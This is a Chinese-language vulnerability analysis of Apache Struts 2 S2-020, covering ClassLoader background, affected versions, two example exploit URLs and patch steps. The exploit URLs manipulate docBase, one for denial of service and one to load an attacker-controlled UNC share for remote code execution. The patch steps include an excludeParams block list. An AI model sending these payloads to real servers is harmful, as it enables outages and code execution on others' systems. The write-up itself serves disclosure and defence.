catalog
1. Description 2. Effected Scope 3. Exploit Analysis 4. Principle Of Vulnerability 5. Patch Fix
1. Description
0x1: 相關基礎知識
Object是java的基礎類,所有的class生成的物件,都會繼承Object的所有屬性和方法,因此當前action無論是什麼程式碼,必須有Object自帶的getClass方法,這個方法會返回一個Class物件,Class物件又一定會有getClassLoader方法,最終在每個action都可以
getClass().getClassLoader() //拿到當前的ClassLoader
在JRE啟動中,每個Class都會有自己的ClassLoader。web容器為了方便的管理啟動過程,通常都有實現自定義的ClassLoader,事實上每個容器的ClassLoader都是自己實現的,環境必然會有所不同
0x2: 漏洞根源
Apache Struts 2.0.0-2.3.16版本的預設上傳機制是基於Commons FileUpload 1.3版本,其附加的ParametersInterceptor允許訪問'class' 引數(該引數直接對映到getClass()方法),從而導致了攻擊者可以控制ClassLoader,並修改ClassLoader中的屬性,而根據修改ClassLoader屬性的不同,可以衍生出不同的攻擊向量
0x3: ClassLoader
一個Java程式之後,不是管是CS還是BS應用,都是由若干個.class檔案組織而成的一個完整的Java應用程式,當程式在執行時,即會呼叫該程式的一個入口函式來呼叫系統的相關功能,而這些功能都被封裝在不同的class檔案當中,所以經常要從這個class檔案中要呼叫另外一個class檔案中的方法,如果另外一個檔案不存在的,則會引發系統異常。而程式在啟動的時候,並不會一次性載入程式所要用的所有class檔案,而是根據程式的需要,通過Java的類載入機制(ClassLoader)來動態載入某個class檔案到記憶體當中的,從而只有class檔案被載入到了記憶體之後,才能被其它class所引用。所以ClassLoader就是用來動態載入class檔案到記憶體當中用的
0x4: Java預設提供的三個ClassLoader
1. BootStrap ClassLoader: 啟動類載入器 是Java類載入層次中最頂層的類載入器,負責載入JDK中的核心類庫,如:rt.jar、resources.jar、charsets.jar等,可通過如下程式獲得該類載入器從哪些地方載入了相關的jar或class檔案/* URL[] urls = sun.misc.Launcher.getBootstrapClassPath().getURLs(); for (int i = 0; i < urls.length; i++) { System.out.println(urls[i].toExternalForm()); } */ 上述結果也是通過查詢sun.boot.class.path這個系統屬性所得知的 /* System.out.println(System.getProperty("sun.boot.class.path")); */ 2. Extension ClassLoader: 擴充套件類載入器 負責載入Java的擴充套件類庫,預設載入JAVA_HOME/jre/lib/ext/目下的所有jar 3. App ClassLoader: 系統類載入器 負責載入應用程式classpath目錄下的所有jar和class檔案
除了Java預設提供的三個ClassLoader之外,使用者還可以根據需要定義自已的ClassLoader,而這些自定義的ClassLoader都必須繼承自java.lang.ClassLoader類,也包括Java提供的另外二個ClassLoader(Extension ClassLoader和App ClassLoader)在內,但是Bootstrap ClassLoader不繼承自ClassLoader,因為它不是一個普通的Java類,底層由C++編寫,已嵌入到了JVM核心當中,當JVM啟動後,Bootstrap ClassLoader也隨著啟動,負責載入完核心類庫後,並構造Extension ClassLoader和App ClassLoader類載入器
Relevant Link:
http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1 http://www.inbreak.net/archives/526 http://blog.csdn.net/xyang81/article/details/7292380
2. Effected Scope
Struts 2.0.0 - Struts 2.3.16
3. Exploit Analysis
0x1: 利用class.classLoader.resources.dirContext.docBase賦值造成的DoS
1. docBase這個引數是Tomcat進行應用目錄對映路徑配置的 2. 如果賦值的地址不存在會導致Tomcat整體解析失敗 3. 通過修改汙染ClassLoader,可以在當前應用程式(tomcat java程式)生命週期期間,持續使對docBase屬性的修改生效,從而達到DOS目的
通過OGNLN解析,給當前應用目錄賦個不存在的地址
http://localhost:8080/S2-XX/index.jsp http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=不存在路徑
0x2: 遠端程式碼執行
還是這個引數,既然可以指向任意地址,如果指向的地址對映目錄,是攻擊者可控的目錄,那就是遠端程式碼執行了,類似於PHP CMS漏洞中常見的本地變數覆蓋導致global config劫持,將使用者的網站的配置引數劫持到黑客控制的資料庫中,從而繞過登入驗證邏輯
docBase引數有三種地址路徑部署方式
1. 相對路徑:以Tomcat的webapps目錄根更目錄 2. 絕對路徑:如: c://web/部署的應用目錄 3. UNC path(如,遠端共享一個標準的J2EE應用目錄)
這裡的UNC方式,和PHP CMS中的allow_url_include、allow_url_fopen本質是一樣的
http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=//virus/test
Relevant Link:
http://wiki.apache.org/tomcat/FAQ/Windows#Q6 http://drops.wooyun.org/papers/1377
4. Principle Of Vulnerability
5. Patch Fix
0x1: upgrade struts2
If you cannot upgrade to version 2.3.16.1 which is strongly advised, In Struts 2.3.16.1, Commons FileUpload was updated to version 1.3.1 and "class" was added to excludeParams in struts-default.xml configuration of ParametersInterceptor.
0x2: Workaround: Upgrade commons-fileupload
The fixed commons-fileupload library is a drop-in replacement for the vulnerable version. Deployed applications can be hardened by replacing the commons-fileupload jar file in WEB-INF/lib with the updated jar. For Maven
based Struts 2 projects, the following dependency needs to be added:
單獨替換commons-fileupload並重啟struts2應用實現修復
<dependency> <groupId>commons-fileupload</groupId> <artifactId>commons-fileupload</artifactId> <version>1.3.1</version> </dependency>
0x3: Workaround: Exclude 'class' parameter
Simple add '^class\.*' to the list of excludeParams as below
struts2的漏洞基本和OGNL、Actoin的引數解析過程有關,因此在struts.xml中配置引數攔截器,可以有效攔截攻擊
<interceptor-ref name="params"> <param name="excludeParams">^class\..*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param> </interceptor-ref>
Relevant Link:
http://struts.apache.org/docs/s2-020.html?spm=5176.775974950.2.9.ie55ik
Copyright (c) 2015 Little5ann All rights reserved